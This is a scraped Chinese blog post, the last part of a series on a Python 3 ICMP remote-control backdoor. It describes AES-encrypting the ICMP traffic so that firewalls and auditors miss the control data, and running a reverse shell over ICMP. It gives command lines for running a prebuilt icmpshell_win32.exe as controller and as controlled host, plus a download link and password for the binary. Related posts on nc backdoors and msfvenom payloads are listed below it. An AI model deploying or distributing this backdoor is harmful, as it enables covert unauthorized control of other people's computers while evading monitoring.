ICMP后门


前言

第一篇:Python3实现ICMP远控后门(上)

第二篇:Python3实现ICMP远控后门(上)_补充篇

第三篇:Python3实现ICMP远控后门(中)之“嗅探”黑科技

熬到最后一篇了,本系列的Boss要出场了,实现了一个有意思的ICMP后门,暂时使用pyinstaller打包成了一个win32和64版本,如下图所示。

在前几篇的基础上,本篇扩展的知识点为数据的加密和解密,以及shell的调用,并最终生成一个可用的ICMP后门。本篇总共分为五节,需要花费5分钟时间。

第一节 通信的加密与解密  

ICMP远控采用的是ICMP协议进行通信,为了确保通信的保密性,防止防火墙或者审计人员探测出控制信息,决定对ICMP数据域的内容进行加密处理。

本次采用的是AES加密与base64编码相结合的方式。AES为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加解密流程如下图:

AES只是个基本算法,实现AES有若干模式。其中的CBC模式因为其安全性而被TLS(就是https的加密标准)和IPSec(win采用的)作为技术标准。简单地说,CBC使用密码和salt(起扰乱作用)按固定算法(md5)产生key和iv。然后用key和iv(初始向量,加密第一块明文)加密(明文)和解密(密文)。

下面介绍ICMP远控的加密解密方案,对于AES加解密,这里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模块,之后版本使用pycrytodome模块。

加密

先是使用AES加密,对于传入的加密内容长度必须为16的倍数,不足则补为16的倍数,我这里是设置的补为32的倍数。使用AES加密结束后,对加密后的内容进行base64编码,以便传输。

 

解密

先是对加密后的内容进行base64解码,接着在进行AES解密,最后去掉为了对齐填充的内容。

第二节 Shell调用

ICMP后门最基本的功能就是完成shell的调用,也就是经常说的反弹shell。反弹的shell即是受控端的shell,控制端通过ICMP协议将shell命令发送给受控端,受控端调用shell执行命令,并将命令结果通过ICMP协议回传给控制端。Python中对shell的调用如下:

第三节 程序的整体结构

代码中总共有三个类,父类Transfer,两个子类client和server。Transfer类主要完成了socket初始化,加解密,icmp协议封包的通用功能。同时提供了一个reverse方法需要子类实现。

父类Transfer

子类client

 

子类server

第四节 使用方法

以我生成的icmpshell_win32.exe为例,为了方便演示,开启了一个VM虚拟机,和主机组成局域网,VM虚拟机中运行的是win7 32位的系统,主机运行的是win7 64的系统。主机的ip为192.168.72.4,虚拟机的ip为192.168.72.133.

 

主机作为控制端,虚拟机作为受控端。首先在主机上运行如下命令(管理员权限运行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s参数用于指明控制端的ip

在受控端运行如下命令(管理员权限运行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l参数用于指明受控端的ip,-c参数用于指明要连接的控制端的ip

 

受控端运行效果

控制端运行效果

 

执行dir命令和tasklist命令

whoami命令

icmpshell源代码已经优先上传到知识星球中,想看源代码的朋友请关注我的知识星球。

如果大家只是想玩一下,给大家提供了icmpshell_win32.exe的下载链接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密码:8rgu

最后

如果觉得本文还可以,一定记得推荐哟。欢迎关注我的公众号,知识星球在菜单中。

回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程 
回复【3】:领取 机器学习 全套教程

Python3实现ICMP远控后门(下)之“Boss”出场的更多相关文章

  1. Python3实现ICMP远控后门(中)之“嗅探”黑科技

    ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...

  2. Python3实现ICMP远控后门(上)_补充篇

    ICMP后门(上)补充篇 前言 在上一篇文章Python3实现ICMP远控后门(上)中,我简要讲解了ICMP协议,以及实现了一个简单的ping功能,在文章发表之后,后台很多朋友留言,说对校验和的计算不 ...

  3. Python3实现ICMP远控后门(上)

    这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两 ...

  4. 用nc+简单bat/vbs脚本+winrar制作迷你远控后门

    前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...

  5. 2019-9-11:渗透测试,Kill远控软件,初接触

     初步使用Kill远控软件,使win7靶机被远控 该文章仅供学习,利用方法来自网络文章,仅供参考   1,打开运行Kill,选择系统设置,设置监听端口,通讯密码,点击保存设置 2,点击服务生成,上线参 ...

  6. 利用kage把msf变成可视化远控平台

    项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...

  7. 使用kali生成远控payload

    kali linux中的metasploit框架是优秀的渗透框架之一,今天记载一下使用kali生成windows远控木马的过程 生成payload使用的工具是MSFVenom,我们输入msfvenom ...

  8. 域控场景下windows安全日志的分析--审计认证行为和命令的历史记录

    https://www.cnblogs.com/KevinGeorge/p/8563458.html 一.域控windows安全日志基本操作 1.打开powershell或者cmd 1 #gpedit ...

  9. 【原创】利用Office宏实现powershell payload远控

    本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境: ...

随机推荐

  1. 理解WebKit和Chromium: Chromium的多进程资源加载机制

    转载请注明原文地址:http://blog.csdn.net/milado_nju ##概述 前面介绍了WebKit中的资源加载机制,其实它只是一个框架性的东西,实际的资源加载依赖于各个WebKit移 ...

  2. 程序员的视角:java 线程

    在我们开始谈线程之前,不得不提下进程. 无论进程还是线程都是很抽象的概念,有一个关于进程和线程很形象的比喻能帮我们更好的理解. 进程就像个房子,房子是一个包含了特定属性的容器,例如空间大小.卧室数量等 ...

  3. mongodb系列之---副本集配置与说明

    在配置副本集之前,我们先来了解一些关于副本集的知识. 1,副本集的原理 副本集的原理与主从很相似,唯一不同的是,在主节点出现故障的时候,主从配置的从服务器不会自动的变为主服务器,而是要通过手动修改配置 ...

  4. CIO必看:跨国集团采购部报表系统的建设经验分享

    CIO必看:跨国集团采购部报表系统的建设经验分享 引言 福耀集团是国内最具规模.技术水平最高.出口量最大的汽车玻璃生产供应商,产品"FY"商标是中国汽车玻璃行业第一个"中 ...

  5. TCP连接建立系列 — 服务端发送SYNACK段

    本文主要分析:服务器端如何构造和发送SYNACK段. 内核版本:3.6 Author:zhangskd @ csdn blog 发送入口 tcp_v4_send_synack()用于发送SYNACK段 ...

  6. EBS initialization parameters - Healthcheck

    APPLIES TO: Oracle EBS Applications Performance - Version 11.5.10.2 to 12.2 [Release 11.5.10 to 12.2 ...

  7. nasm中的表达式

    nasm表达式支持2个特殊的记号 $和$$;前者标识其所在源码行的开始处地址,所以你可以这样写死循环: jmp $ 而后者标识当前段开始处的地址,你可以通过: $-$$ 找出当前代码在段内的偏移. n ...

  8. vue2.0-基于elementui换肤[自定义主题]

    0. 直接上 预览链接 vue2.0-基于elementui换肤[自定义主题] 1. 项目增加主题组件 在项目的src/components下添加skin文件夹 skin文件获取地址 2. 项目增加自 ...

  9. MySql 行转列 存储过程实现

    同学们在使用mysql的过程中,会遇到一个行转列的问题,就是把多条数据转化成一条数据 用多列显示. 方法1. 实现方式用下面的存储过程,表名对应的修改就行. BEGIN declare current ...

  10. 排序算法入门之快速排序(java实现)

    快速排序也是一种分治的排序算法.快速排序和归并排序是互补的:归并排序将数组分成两个子数组分别排序,并将有序的子数组归并以将整个数组排序,会需要一个额外的数组:而快速排序的排序方式是当两个子数组都有序时 ...